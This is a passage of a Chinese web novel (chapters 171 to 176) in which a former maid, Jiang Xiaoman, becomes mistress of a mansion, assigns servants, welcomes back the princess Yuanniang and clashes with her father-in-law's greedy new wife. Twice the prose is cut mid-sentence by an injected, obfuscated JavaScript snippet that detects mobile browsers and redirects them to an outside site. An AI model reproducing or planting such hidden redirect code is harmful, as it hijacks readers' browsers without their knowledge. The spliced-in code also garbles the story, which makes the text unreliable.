按照旨意只需宋长宗夫妇带着他的亲娘、亲兄弟走，至于旁支兄弟乃至妾室都可在京城自谋出路，也就是宋长宗兄弟必走，其他人随意。 “怎得好端端地要让人背井离乡呢？”老侯夫人卢氏不解。 季尘欣亦是不停地感慨自己命运多舛。 那宋长宗却是尖着嗓音道，“能保住命就不错了！” 如今那二人成了帝后，宋长宗亦是想通了，什么南番北番的，自己还是承恩侯这就很好了！躲得他们远远的，省得哪日里帝后心绪不佳又想起他来！ “你们谁愿意跟着走啊——”卢氏扫了一圈道。 一些不知日后该如何过活的旁支和妾室依旧选择同行南上，但很大一部分人决定就留在京城自谋出路了。 卢氏叹了口气道，“也罢，明日我们便启程吧！房嬷嬷你去将财物、车马都备好——” 事到如今，承恩侯府所有人都以为侯府奴仆是要跟去的，尤其是那些签了死契的下人，自然是主子让死就不敢苟活的。 但是他们在京畿之地住惯了，千里迢迢地跟着去做仆人，当真是心里难受。但若不去，不但被判个逃奴罪，而且日后的日子也不知该当怎样过—— 侯府的仆妇小厮们统一端了一副凄惶之相。 在这些忧愁万分的仆从里就有姜小满的阿奶一家。 王婆子当年可是一个扁担担了两个儿子逃荒来的京城，好不容易日子好过些，孙女也出息了，又要搬走？她这把老骨头怕是要丢在路上喽—— 姜石头和纪氏也是一脸的愁苦，儿子好容易有了学上，女儿还这么小？ 第171章 当家主母姜小满 还有李初一、赵大雁、钱星星、茉莉，她们都不想走—— “还愣着干什么？回去收拾东西啊，只捡着些细软拿便好，这山高路远的！”卢氏呵斥道，无论走到哪里她也是府里的老夫人。 “老夫人，他们都不走，陛下只是让您走！”姜小满华丽现身。 几日未见，成为二品诰命夫人的姜小满好似出落得更窈窕华贵了。 仆妇家丁们听闻姜小满此言瞬间看到了希望，难不成陛下还有别的旨意？ 果不其然，姜小满将那道写了宅院府邸与一众奴仆皆归明澈所有的圣旨甩了出来！这侯府日后改姓明了！ 众人反应过来后，同宋家人的难以置信相比，更多的是侯府下人们的欢呼。 不必拖家带口的背井离乡，还有了曾经相熟之人做了当家主母，仆从们的欢呼声有些肆无忌惮，让姜小满想起了上辈子无德领导被开除的那个下午。 当家主母姜小满便就此上任了！ 明家人集体搬入了这座原被称为“承恩侯府”的府邸，姜小满依旧入住了蘅泽苑。 姜小满信步走在从小长大的宅院中，一切皆是如此熟悉，不一样的是这里成为了她的家，她再也不用在这座宅子里弯腰低头讨人欢心了。 成为当家主母的第一步便是要有自己的心腹，姜小满不觉来到绣房门前。 自谢婉之被赶出侯府后，蘅泽苑的众人皆是四分五散，茉莉被赶到了绣房做活。 “真真是人比人气**，同为奴婢，那姜小满是得了什么狗屎运居然成了这府里的主母了！” “就是，若是论出身她还不如我们，我们绣房的人好歹会些手艺，她懂什么？” “是啊！早知道当年就让我娘把我二十两银子嫁给傻子了，哈哈——没那命哦！” 姜小满听得绣房内丫鬟仆妇的不满并没有多么生气，可以理解。 人自来便是如此，若是有人天生比他们强许多就会觉得是理所当然，但是有和自己差不多的人突然间发达了，那便会将他之前的种种不堪拎出来说一遍。 诸如，想当年她不过是个什么什么之类—— 姜小满深知这点，所以成为当家主母的她并不打算采用一贯的亲和策略，她要端起来了。 只有端起来，和这些丫鬟仆妇们保持些距离，日后才好管理偌大的府邸，否则今儿这个小时候抱过她，明儿那个一起当过差，日子还要怎么过？ “你们——若要口无遮拦——议论主母的长——短——”姜小满听得茉莉在维护自己，不由得会心一笑，这茉莉什么都好就是说话还是如此口齿不清。 “姐姐们，做人要讲良心，若不是主君和主母在陛下那里求了恩典，我们如今还不知在哪里呢？哦！大概率会是被当成官奴发卖，卖到哪里呢？” “卖去山里开荒！卖去沟里挖矿！现在京城里日日都有官员被抄，那些下人像牲口一样被带走，你们是睁眼瞎瞧不见还是怎得——” 好个伶俐的丫头！ 姜小满听得有个声音尖细的小丫头亦在维护自己，不由得推门进去瞧瞧是谁？ “见过夫人！” 看到小满进来，绣房的丫鬟仆妇煞白着脸跪了一地，她们怎么也想不到堂堂的当家主母会来绣房闲逛。 姜小满望着方才那伶俐的小丫头道，“你叫什么名字？” “回夫人，奴婢名叫二莉。” 姜小满瞧了瞧下首的茉莉，这二莉长得同茉莉如出一辙，只是眼神更灵动了些。 “起来，原来你就是茉莉的妹妹二莉啊！”姜小满很早便知晓茉莉的妹妹也被卖入了侯府，说来今日还是第一次见面。 “夫人，你——怎得——到这里了！”茉莉惊喜道。 姜小满：“来寻你啊！” 下首的丫鬟仆妇并不知晓茉莉同小满的渊源，而今主母居然屈尊来绣房寻茉莉，这让她们满是后怕，原来这茉莉是夫人的人啊！ “二莉，方才你说得很好！现下你觉得该怎么办呢？”姜小满沁了一口茶道。 “回夫人，这些人胆敢私下议论主母，奴婢觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15722309|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应当按规矩每人赏几个巴掌才是！”二莉真心这么觉得。 “那就按规矩来吧！”姜小满淡淡道。 姜小满话音方落，脆生生的巴掌便落在了那些仆妇的脸上—— 若是换了从前，姜小满并不觉得她们有多该打，**嘛！即便是现在她也不觉得这些仆妇之言会令自己生气，但总得装一装呀！ 不然有一便有二，日后如何管理家宅。 正所谓屁股决定脑袋，姜小满目前脑子里装的都是如何管理者偌大的明府，真真是一大挑战！ “行了！”随着姜小满话音落下，巴掌也停了下来。 “多谢夫人开恩，奴婢们再也不敢了。”那些仆妇觉得就这么点惩罚也算是主母分外开恩了。 “二莉，你可愿意跟我回蘅泽苑做个一等丫鬟！”二莉伶俐的口舌和利索的巴掌赢得了姜小满的心，她觉得身边有这样一个伶俐的人日子才能过得安心。 “奴婢愿意！奴婢定然对夫人鞠躬尽瘁死而后已——”二莉只是想表表忠心，奈何词汇量很有限。 作为茉莉的妹妹，二莉虽未同姜小满见过面，但一直视姜小满为家中最大的恩人，倘若不是姜小满，她阿爷早已病苦而死，她家怎能盖得起那么大的宅院！ “好了，不过我要为你改个名字！瞧着你心灵手巧的摸样，就叫你茉心如何？”姜小满倒不是因为做了主母非要显摆着给人改名字，而是觉得女孩子应当有自己的名字。 二莉的名字听来便是随着茉莉叫的，若是改成茉心，听起来既是姐妹又有自己独特的意义。 “茉心谢夫人赐名，茉心很喜欢这个名字。” 二莉是茉莉的妹妹，从小到大，街坊邻里见了大都会指着她道，“这是那小哑巴的妹妹，二莉！” 二莉想不通怎得作为家里的老二便不配有自己的名字了吗？ 今儿二莉成为了茉心，她很高兴。 姜小满从绣房离开时，带走了茉莉和茉心。 从此姜小满也是有心腹大丫鬟的当家主母了！ 第172章 当家主母姜小满二 这日天气晴好，姜小满端坐于太师椅之上看着下首数千人的丫鬟仆妇家丁。 这是她成为当家主母以来第一次在下人面前正式亮相。 “端起来，端起来！”姜小满不断地提醒自己。 下首的仆从们见着往日里的“同僚”姜小满都是一阵兴奋。 下人们分为三派。 一：感恩派。 对姜小满感恩戴德，感谢明澈同姜小满给了他们再就业的机会，能让他们安稳地在京城衣食无忧。 二：鄙夷派。 对于和他们一样为奴为婢，但是后来命太好的姜小满表面恭敬，内心鄙夷，每晚都要问自己十万个凭什么？ 三：随意派。 爱咋咋地。 “请问哪位识文断字啊？主母有言，能识文断字的优先入蘅泽苑。”茉心的声音让下首吵嚷的人群瞬间安静了下来。 蘅泽苑是主母的院子，自然都想进！但识文断字这项技能却是困住了他们！ “奴婢识得几个字——” 陆续站出来几个丫鬟仆妇，然姜小满之前都对其了解，这些人所谓的识字不过是不当睁眼瞎罢了。 姜小满抬眸向人群瞧了一眼道，“钱星星你不识字吗？” 其实姜小满让茉心寻找识文断字之人便是在找钱星星。 钱星星之前同姜小满都在蘅泽苑做二等丫鬟，虽说心直口快了些，但从未有过什么怀心思，姜小满是想让钱星星入蘅泽苑帮着自己理家的。 下首的钱星星被猛地点名，立即站出人群向前一步道，“奴婢识字，但——” 但她从前同姜小满一起做过丫鬟，她是感激姜小满没有让她全家流离失所愿意伺候姜小满的，就怕姜小满看着她们这些旧人心里不自在，毕竟当年谁不知道谁啊？ 本以为姜小满不愿同她们这些旧人有太多瓜葛的钱星星，自然是埋在人群里能躲就躲，谁知竟然被点名了？ “无需多言，上来唱名，将所有人等重新登记造册。”姜小满急需识字型人才，钱星星就是。 这就上岗了？钱星星忙不迭地投入到了紧张的工作中。 待唱名完毕，便开始正式分房。 “李初一，大厨房管事，稍后过来领对牌钥匙。”茉心依着姜小满的指示道。 李初一自回到府中后就一直在大厨房做二等厨娘，虽说做二等厨娘比之前在蘅泽苑做二等丫鬟要辛苦了些，但同在乡下庄子里日日做苦力还要挨打的日子相比已算是福地了。 得知姜小满做了当家主母，李初一真心为小满高兴，那可是救她于水火的人啊！若不是小满，李初一早就被那周铁打死好几回了！ “是！回夫人，奴婢的厨艺其实——”李初一有些吞吞吐吐。 “有事稍**蘅泽苑回话。”姜小满堵了她的嘴。 李初一厨艺虽说不错，但在人才济济的大厨房里算是资质平平，这一点姜小满是知道的。 但让李初一做厨娘不是让她亲手做菜的，她给李初一的是一个管理岗位，需要会做菜，但不需要做得一等一，只要能将大厨房管理得紧紧有条便可以了。 “奴婢定然不负重托，潜心研究厨艺。”李初一知道这是小满对自己的信任，她发誓要在这条路上狠狠努力，有朝一日必得真正能够胜任这大厨房的管事才行。 “赵大雁，花房！”茉心继续分房。 在听到李初一和钱星星都成了管事之后，赵大雁心中是有期待的，毕竟她和钱星星、李初一一样同姜小满都是蘅泽苑的同僚。 但她居然被分到了油水颇少的花房？ “回夫人，奴婢还想回蘅泽苑伺候夫人——”赵大雁试探地提醒，想让姜小满想起了自己曾经同她的情谊。 姜小满想起来的却不是同她之前的情谊，而是她同林柳儿一起怎样奚落自己的过往。 虽说已然成为当家主母的姜小满并不愿费心同赵大雁计较，但谁让她冒头出来了呢？ 姜小满同茉心耳语几句，便听得茉心道，“在明府当差，主子安排哪里便是哪里，怎能容得下挑三拣四！” 茉心怒视着赵大雁继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732970|173276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续道，“既然花房不愿意去，那便是厕房，若是再挑即刻撵出去！” 此话一出，不但赵大雁闭了嘴，且下首所有的人皆是闭了嘴。 此刻他们才真正意识到上首之人是他们的主母，掌握着他们的身家性命，他们必得对其足够的恭敬。 本还有些小时候抱过姜小满的、同姜小满娘家交好的、同明妈妈之前相熟的许多人想要靠着老脸儿混个好差事的人，此刻全都纷纷闭上了嘴，想来那厕房还缺人啊！ 姜小满是要讲人情的，但这个人情的主动权要握在自己手里！ 待分好了房，回到蘅泽苑的姜小满需得给家人们分院子。 姜小满在铺开的宣纸上大致将明府的院落画了一番。 首先要将后面的山水居分给她娘住，山水居不但风光甚好而且是一个独立的院落。到时候她娘可以自由从自己的院门出入，同明府即相依又独立，当然姜家所有人都要同她娘一起搬进去。 既然姜小满做了着二品诰命夫人，她的娘家人也就不能再做府中的奴仆了，姜家人算是跟着姜小满一道风生水起了。 至于明家人！ 明澈入了内阁，更得奉行大顺朝以孝治天下的准则，明阿爷明阿奶必须得供养起来，就住在寿安苑。 公爹明二虽说一个人，但他可是明澈的亲爹，给他分到听松居。 想到明二的姜小满又情不自禁想起了明妈妈，她若是还在那该多好—— 姜小满分好了所有的院落，其中最大的一处华阳苑，姜小满将其改为了梨香苑给明三头居住。 一旁的茉心不明所以道，“夫人，三爷尚未娶亲，哪用的了这么大的院子！而且三爷房里的下人也分得最多——” 茉心想不通，一个曾经同他阿爷售卖玄米茶的明三头需要这么大的排场？？ 姜小满却是微微一笑道，“过两天你便知道了！” 因为姜小满今日已看到秘闻：【帝后已然决定将梨落公主嫁与内阁大学士明澈的堂弟明三头为妻。】 元娘要回来了！ 第173章 元娘回来了 当赐婚的圣旨到了明府时，接旨的明三头留下了无奈的眼泪。 抗旨自然不行，但他明三头曾经发誓绝不再娶，若他做了驸马怎能对得起孙元娘？ 听到明三头顾虑的姜小满噗嗤一下笑出了声，她忘记明三头还不知梨落公主便是孙元娘。 看着明三头抓耳挠腮的样子，姜小满决定暂且不告诉他真相，毕竟这小子日后要发达了，先让他愁那么几日是应该的。 “大嫂，你还笑？你怎得这么没良——”明三头已经对姜小满不满很久了，元娘曾经对她那么好，自元娘失终后这个大嫂竟然不急不缓的？ “行了，圣旨都接了，等着做驸马爷吧！”姜小满就喜欢看明三头这左右纠结难受的样子。 “凭她什么公主？我自是没有三颗头不敢抗旨，但公主也不能控制我的心，我只负责成亲，别的就——”明三头大言不惭的似有为孙元娘守身如玉的架势。 姜小满却是兴味道，“君子一言驷马难追！他日洞房花烛夜你若不反悔，我敬你是条好汉——” “一言为定！”明三头不解，这大嫂竟然威胁他不要同公主圆房，得是也长了三颗脑袋不成？ 很快便迎来了公主出嫁的日子。 这日，全京城的百姓都来围观梨落公主的花车，但前方的驸马却是一副闷闷不乐的样子。 夜里，借酒浇愁的明三头终于不得不去掀公主的盖头了。 “公主，我实话和你说，我心里只放得下一人——呃——”明澈借着酒劲儿实话实说，为的是既对得起自己的心，又能装作酒后失言而不被怪罪！ 他就说了，他是喝多了胡说八道，怎得皇帝还能和一个酒鬼计较不成？ 明三头踉跄着将盖头掀了起来，孙元娘娇羞地看向对方，怎奈却没等到意想中明三头那惊喜若狂的样子。 “三头，你看到我不高兴吗？”孙元娘疑惑道。 明三头却是定睛看了一眼，心道，“果真是喝多了，竟将公主看做元娘了——” “高兴，我做梦都没想到这辈子还能做驸马，呵呵——”明三头说着便又自言自语嘟囔道，“元娘，我竟然将公主看成了你，凭她什么公主母主的，我还是觉得和你在一起最高兴，呵呵，我就稀罕你——” 后面这句明三头以为自己没有说出口，只是心里想想而已，谁知那公主却是冒出了泪花，“三头，我就是元娘啊，你好好看看我！” “真是见鬼了，这公主竟然能听到我心里的话？”这句明三头也觉得自己没说出口。 孙元娘心急，拽了明三头径直来到净房将其丢入浴桶里醒酒。 那明三头扑腾着道，“救命啊！我不会游泳啊！” 喝了几口水的明三头浮出水面后便清清醒醒地看到孙元娘立在他的面前。 “元娘！”明三头狠狠拧了自己的大腿根，不是在做梦！ “三头，是我，我就是公主——” 门外的丫鬟仆妇听着里面的动静，驸马爷一会儿哭、一会儿叫、一会儿又喊救命，都胆战心惊得思虑着这公主是何等悍妇，竟然能让驸马爷怕到如此地步？她们以后的日子怕是也跟着不好过喽！ 一夜缱绻，第二日便是公主和驸马向长辈敬茶了。 与别的公婆不同，明三头这位驸马的爹娘却是一早儿就乖乖候着了，他们初来乍到没敢想给公主摆什么公婆的谱儿，而是胆战心惊地担心着公主怪罪他们不成体统。 明三头的爹娘便是明四和明四婶。 明四是明二的弟弟，在老家刨地时忽然有人告诉他，不但侄儿明澈做了官老爷，儿子明三头也即将成为驸马！明四立马买了糕点去祭祖，这不是祖坟冒青烟是为何？ 直到此刻，明四两口子还觉得是在做梦？他们几日前还是李陈村的一对泥腿子？这就和皇帝做上亲家了？ 当公主出现在正堂之时，与初来乍到的明三头父母不同，明府所有人皆是炸开了锅，这公主不就是孙元娘吗？ 孙元娘他们还是认识的，以前蘅泽苑的二等丫鬟，后来在蘅泽苑洗恭桶的那个唯唯诺诺的孙元娘！ 但眼瞧着这孙元娘一应穿戴皆是雍容华贵，这又是怎么回事？ 众人窃窃私语间，姜小满开口道，“这世上长相相似之人不知凡几，莫要胡乱猜测，若要惹得公主不快，可小心自己的脑袋！” 此话是对着丫鬟仆从们说的，但上首的明阿爷阿奶等人亦是被吓了一跳。 此话一出，无论明家人还是丫鬟仆妇全都闭紧了嘴巴，与八卦相比命更重要。 “儿媳梨落见过父亲、母亲。”公主双手捧茶敬献公婆。 那明四和明四婶准备了一兜子的吉祥话，此刻却只是颤颤巍巍地接过茶盏，拼劲全力别让茶水溢出，再顾不得别的。 喝了媳妇茶便算是礼成了，孙元娘同姜小满正式成为了一对堂妯娌。 因着明三头与孙元娘的婚事，老明家所有人都卷了铺盖来了京城，现下明府中又多了明三头的父母明四两口子，以及明三一家人。 再次嫁人明家的孙元娘算是彻底实现了自己的梦想：左边明三头，右边姜小满，日子好不快活！ “小满，你不知道我娘被关进冷宫里我有多着急——”已连着好几日了，孙元娘每日都来蘅泽苑给姜小满讲宫里的故事，恨不能和姜小满黏在一起。 姜小满：“都过去了，这个甜瓜你尝一下——” 二人好不惬意地享受着这来之不易的美好生活。 “大嫂和弟妹，你们唠啥呢？”明二头的媳妇翠姑推门而至。 “是二弟妹呀，快来——”姜小满热情地招呼。 这翠姑是明二头的媳妇，同小满和元娘都算是妯娌。 看着两位贵人妯娌好像很要好的样子，翠姑觉得她也应当加入，于是打听着孙元娘过来，她便也算着时辰过来了。 姜小满对翠姑倒是没有什么不喜，不过是一个同她一样撞了大运的女子，同为天涯大运人，相逢何必曾相识。 但翠姑一来，孙元娘同姜小满讲话未免收敛了些，再不敢说之前的一些过往。 第174章 公爹的第二春 如此几番下来，翠姑心中便有了计较，为何这二人本来有说有笑的，自己一进门便都客气起来了呢？她们会不会在说我们三房？ 二房是内阁的官老爷，四房的皇亲国戚，唯独她们三房是月前还在村里刨食儿的泥腿子！思及此处，一向好强的翠姑竟然自卑起来。 因此，接连几日翠姑都未再同小满和元娘一起玩笑，姜小满倒也不觉得是什么事儿，只当翠姑是有别的要紧事，哪能人人都向孙元娘那般像个狗皮膏药似的。 这日，姜小满在园子里远远看到翠姑，正准备同她打招呼，那翠姑却是目不斜视，好似没有看到她这么一个人。 姜小满心下有些不快，且不论自己是这明府的当家主母，即便是平常人家的妯娌，那也是自己为长，翠姑为幼，哪有长嫂先向弟媳先问好的道理。 思及此处，姜小满便也没有主动问候。谁知，那翠姑竟也直直走过去了—— 刚刚开府，姜小满手头还有诸多事项要办，也就没顾得上较多思虑，许是那翠姑今儿心情不好吧。 翠姑的心情的确不好了，甫一回到三房的院子便去婆母跟前哭诉，“娘，我们来这京城做什么？这府里谁人瞧得起我们？方才那大头家的见了我连正眼都未瞧便过去了——” 翠姑哭得凄凄惨惨，她婆母明三婶亦是感同身受。 想当年在村子里，他们三房无论打理庄稼还是售卖果蔬，那都是一把好手！且她女儿明大丫有出息，带着孩子都能嫁给京城的富户，那四房两口子见了他们都是恭敬得很。 这下好了，明四两口子做了皇帝的亲家，就这么骑在他们脖子上了！这几日，明三婶在明四婶那里亦是受到了不少奚落。 “翠姑啊，回去作甚？你当真以为你要回乡下，他们会留你吗？他们巴不得咱回去呢！”明三婶愤愤道。 “娘，她们不让咱好过，咱也不能让她们好过，怎么得也得紧一紧她们那张狂的皮子！”翠姑现在只要一想到姜小满和孙元娘那高高在上的样子就恨得牙痒痒。 “翠姑啊，你觉得给那姜小满找个婆母她的日子能好过吗？”明三婶促狭着眼睛道。 “娘，你是说——”翠姑来了精神。 她婆母向来精明，这是顶好的办法！让那姜小满痛苦一时不如让她痛苦一世，唯有在她头顶上安个婆母，她的日子才能没那么舒坦。 明妈妈走了，这续弦的夫人也是夫人，倘若让明二找个老婆，那姜小满就有苦头吃了！为了她相公的前程，量她也不敢做出那等忤逆婆母的事情。 接下来的一段时日，姜小满为让明府能够顺利运转忙得不可开交，偶然听闻三房常常有位姨母到访，但也没当回事儿。 直到这日，姜小满刚进二门便瞧见一位肤色白皙，娇滴滴的四十来岁的妇人正要往外走。 姜小满从未见过这个妇人，却见这妇人身上穿了一身锦缎，头上还戴了一支鎏金点翠蝴蝶发簪。 那簪子上的蝴蝶灵动振翅，姜小满一眼便认出这是明妈妈的遗物。还有那妇人身上的衣裳，可不就是姜小满刚刚升了一等丫鬟的时候谢婉之赏她的吗？那可是她送给明妈妈的第一件礼物。 明妈妈临终前本将这些遗物全都给了小满，奈何小满觉得公爹明二中年丧妻很是可怜，所以一直放在公爹那里让他做个念想！ 难不成？ “夫人留步，夫人可否借一步说话。”姜小满向对方道。 那妇人见姜小满穿着华贵，便陪着笑道，“我是三房姑奶奶婆家的姨母，我姓蔡，不知这位夫人是哪房的？” 三房姑奶奶婆家的姨母？ 姜小满脑子转了几转方才反应过来，此人是明大丫婆婆的妹妹。 “姨母安好，我是二房的。”姜小满行了一个福礼道。 “呦，原来你就是澈儿的媳妇呀！当真是好整齐标致的一个人！”蔡姨母显得很亢奋。 自那明家三房入京以来，蔡姨母在公主的婚礼上结识了明三婶后，二人便是一见如故。隔着明大丫的关系，二人也算是沾亲带故，因此便熟络起来。 这些日子，在明三婶的撮合下蔡姨母已然轻松拿捏了中年丧妻的明二。 明二死了老婆，而她又恰好死了夫君，刚刚好！ 虽说那明二木讷了些，却是个好拿捏的，自己温言软语不过哄了几日，那老头儿连锦缎、金簪这些贵重的东西都送出来了。 蔡姨母觉得拿捏明二那个老头子已是手拿把掐，就是不知他的儿子儿媳好不好相处，今日竟然碰到了正主，蔡姨母很是亢奋。 “蔡姨母身上的衣裳和头上的发簪不错，只是瞧着有些眼熟呢？”姜小满笑道。 “眼熟？那明二方才给她衣裳首饰时只道是旧时的款式，莫非这些东西有旧主？”蔡姨母这样想着便疑惑道，“夫人可是在别的地方见过这款式？” 姜小满故意道，“不瞒姨母，我故去的婆母便有一套一样的，许是我看花了眼也未可知，姨母怎会有我婆婆的东西？” 姜小满顿了顿，又附耳在蔡姨母耳边道，“姨母，我只是觉得这故去之人穿过的衣裳若不是十分亲近之人，穿了怕是有说道，所以就存着心提醒一二，想来是我看差了，姨母切勿见怪！” 那蔡姨母听了却是浑身像是长了刺儿般刺挠，那该死的明二竟然将他死去老婆的东西套在自己身上，真是晦气，幸而还没出这院子！ 姜小满说完寒暄几句便离开了，那蔡姨母见小满走远了便反身去找明二算账—— 明澈下值回来后，姜小满斟酌一翻还是同他道，“明澈，公爹怕是要另娶了！” 毕竟是明澈的亲爹，姜小满觉得她有必要让明澈知晓真相，于是便将今日碰到蔡姨母云云同明澈说了一番。 自明妈妈故去，明澈同他爹说话便十分谨慎，尽量不去触碰父亲心底的伤，他觉得他爹同他一样定然放不下娘。 今日小满之言却是另明澈猝不及防，原来他爹也会有新欢！ 也罢，明二做了一辈子的车夫，如今日子好了想要续弦倒也可以理解。 第175章 天人交战之下，明澈最终道，“爹若续弦倒也是人之常情，只是娘的东西不能给别人，毕竟娘生前都舍不得穿戴那些东西——” 明澈说着便强作镇定般去脱自己的官服，姜小满瞧着他比往常夸张的动作，知晓其定然是趁势抹不去了泪意。 明妈妈操劳一生却是个没福气的，辛苦养大的儿子挣了功名却是不得不唤另一人母亲了，姜小满很替明妈妈不值，“明澈，我们今日便去要回母亲的遗物，否则夜长梦多。” 明澈稍一迟疑便道，“我们同去——” 听松居内看到儿子和儿媳的明二竟有一丝慌乱，“你们，你们怎得过来了？” “爹，母亲生前已将她这些年攒的钗环衣饰都给了小满，我们今日来是想将母亲的东西拿回去！”明澈开门见山道。 “澈儿，那些东西，那些东西爹已经给了那蔡家姨母了！”明二是真心想要求娶那蔡姨母做续弦，所以并未打算瞒着明澈。 “爹，我今日碰到蔡姨母了，蔡姨母得知那些是娘的遗物想来已经还回来了——”姜小满是亲眼看着蔡姨母折返回去的。 “是，但是我都给她了——”明二吞吞吐吐道。 今日那蔡姨母折返回听松居后便将发簪和衣裳都还予明二，并娇滴滴地落了几滴泪，说自己被人当成贼了！那蔡姨母放下东西便要离开，称与明二没有缘分，若是有了小满这样厉害的儿媳，怕是以后没有舒坦日子过了！ 明妈妈一生好强，明二极少见过女人掉眼泪，那蔡姨母一顿梨花带雨，又要与明二诀别，明二一着急便将明妈妈的首饰匣子整体端给了蔡姨母。 那蔡姨母止了哭声道，“二郎，我祖上也是富贵过的，并不是那等眼皮子浅的人，只是怕你那儿媳又不依不饶的，嘤嘤——” “你放心，有我在，自不会让你受半点委屈！”明二不但掏心掏肺还将家底掏给了蔡姨母，临了了还严正声明，“我知道你不是为了这些，但这些是我的一片心意，拿着——” 于是乎，明妈妈的遗物被连锅端得干干净净。 “都给了？”姜小满惊道，她没想到恋爱中的中年男人如此疯狂。 “爹！那些可是娘的遗物，娘一生节俭从不舍得穿金戴银，你竟然将娘一辈子攒下的家当送了外人！”明澈怒吼着。 姜小满对明澈感同身受，亦是没想到向来老实木讷的公爹在婆母走后竟然能做出这样的事！ “蔡姨母不是外人，我，我准备续弦，今儿也算正式通知你们一声！”明二为了他心中的挚爱鼓起勇气同儿子儿媳将自己的打算说了出来。 “续弦？呵——娘才走了不到一年而已！”明澈冷哼一声，满脸皆是失望。 “对啊，你娘已然走了一年了，于情于理我都可以续弦！”明二理直气壮，他并未做什么伤天害理的事儿，只是想再讨个老婆而已。 明妈妈一直以来都是明家的主心骨，辛辛苦苦做奶娘换来了明澈幼时读书的机会，也给老明家在乡下盖起了青砖大瓦房，这些明二心里都是感激的。 但与此同时他也早已受够了明妈妈的说一不二，若不是遇到蔡姨母，明二都不知世上竟有这样娇滴滴的妇人，人生短短几十载，怎能留下遗憾？ 明澈：“续弦可以，但不能娶如此贪慕银钱之流，更不能将娘的东西送出去——” “啪！” 明澈话未说完，明二的巴掌便结结实实地落在了他的脸上，“蔡姨母是长辈，不许你这么没大没小，东西是我非要给的！” 这是明二第一次打明澈，竟然是为了一个外人！ “爹，您觉得那蔡姨母对您可是真心？无论如何婆母的东西我是会拿回来的！”姜小满说完便拉着气呼呼的明澈往外走。 “你们敢，送出去的东西哪有要回来的道理！”明二在后面怒吼。 翌日，姜小满收到秘闻：【皇帝大封后宫，封殿前都指挥使高启的女儿高敏为贵妃，封吏部尚书赵秦之妹为妃——】 姜小满瞧着这份后宫名单，大都是在这次宫变中立下汗马功劳的文臣武将家中女眷，虽说帝王有帝王的难处，后宫牵扯前朝，让功臣的家眷入宫再所难免，但她依旧为谢婉之悬心，不知贵为皇后的谢婉之如今怎么样了。 然今日她且顾不得宫里的事，先得去将明妈妈的遗物拿回来才行。 一早，姜小满便抱了一匣子首饰去登蔡姨母的门。 “姨母安好！”姜小满恭敬行礼并说明来意。 那蔡姨母本是客客气气的，但听到小满是来要回那匣子首饰后当即就变了脸色，“你们也是官宦人家，怎得这么欺负人！那匣子首饰是你公爹非要给我的，若再还回去我成什么人了？贼吗？” “姨母莫要动气，只是那匣子首饰是我婆母留下的，想拿回去给我相公留个念想！”姜小满静静瞧着蔡姨母，此时还存了些那蔡姨母不愿退回东西是因着脸面的心思。 谁知，当姜小满令茉心将另一匣子首饰放在案几上后，那蔡姨母又和颜悦色了起来。 原来这姜小满是要换啊？早说嘛！这一匣子新的首饰看上去比那旧的更华贵，且是时兴的款式，她自然是乐意的。 “慢走，空了来玩儿，都是一家人——”临了蔡姨母将小满送至门口。 回程的马车上。 “夫人，我们白白赔上这么一匣子首饰，当真是亏得慌！”茉心愤愤道。 姜小满：“不亏！能顺利将婆母的东西拿回来便好！” 明妈妈留下的东西本来也不值什么，因此姜小满送出去的那匣子东西也只是比明妈妈的东西略贵些罢了。 这一趟下来，那蔡姨母能屈能伸的嘴脸却是让姜小满瞧了个透彻，倘若让这位做了自己的继婆婆，那日子还能好过得了吗？ 接下来的几日明澈都未同他爹说话，摆明了态度不同意他爹续弦，明二在屋子里急得团团转，明澈若是不同意那聘礼该怎么办？ 第176章 夫人太不容易了！ 蔡姨母明确说了聘礼的标准，以明二那点财力是迎娶不起的，还得明澈两口子点头才行啊！ “二哥，照我说就是澈儿两口子不懂事，哪有当儿子的管爹娶老婆的事儿？”明三婶生怕这件亲事真的黄了，跑前跑后的在明二和蔡姨母中间拉皮条儿。 “哎！忤逆不孝的东西！”明二叹了口气道，“要不三弟妹你借我点儿？” 明三婶立马吓得挥手，“二哥说笑了，我们之前不过是庄户人家哪有银子啊！” 随即，明三婶便说出了在家琢磨许久的良策，“二哥，你装病！毕竟是亲儿子，你若气病了他能不着急？再不成便绝食，想来澈儿不是那铁石心肠的孩子——” 明二连连道谢，就这么定了！ 在听到明二突发重疾又水米不进的消息后，明澈当下便从衙门脸色煞白地跑了回来。 当年明妈妈便是突发疾病撒手人寰，明澈生怕他爹也！ 毕竟是亲爹，明澈一路上想着小时候坐在爹的肩头，爹有好吃的都留给自己，自己现在出息了，竟然这样对爹，想着想着便决定：只要他爹康健，爱娶谁娶谁！ 在明澈松口同意明二续弦的第二日，明二便奇迹般地好起来了。 姜小满自知无能为力，只能任由钱袋子破个窟窿来替公爹下聘！ 就这样，蔡姨母便风风光光地嫁入了明府，成为了姜小满的继婆母。 自蔡姨母入府以来，明二便是一副容光焕发的样子，姜小满不禁感慨果然爱情使人年轻。 与明二的容光焕发不同，明澈却是整日家臊眉耷眼。 明府里已然传开了，小的不如老的。 这日，茉心回来便闷闷不乐，姜小满询问道，“怎么了？” “没什么，就是刚刚教训了几个嚼舌根的臭丫头！”茉心愤愤道。 “嚼的什么舌，把我们茉心气成这个样子？” 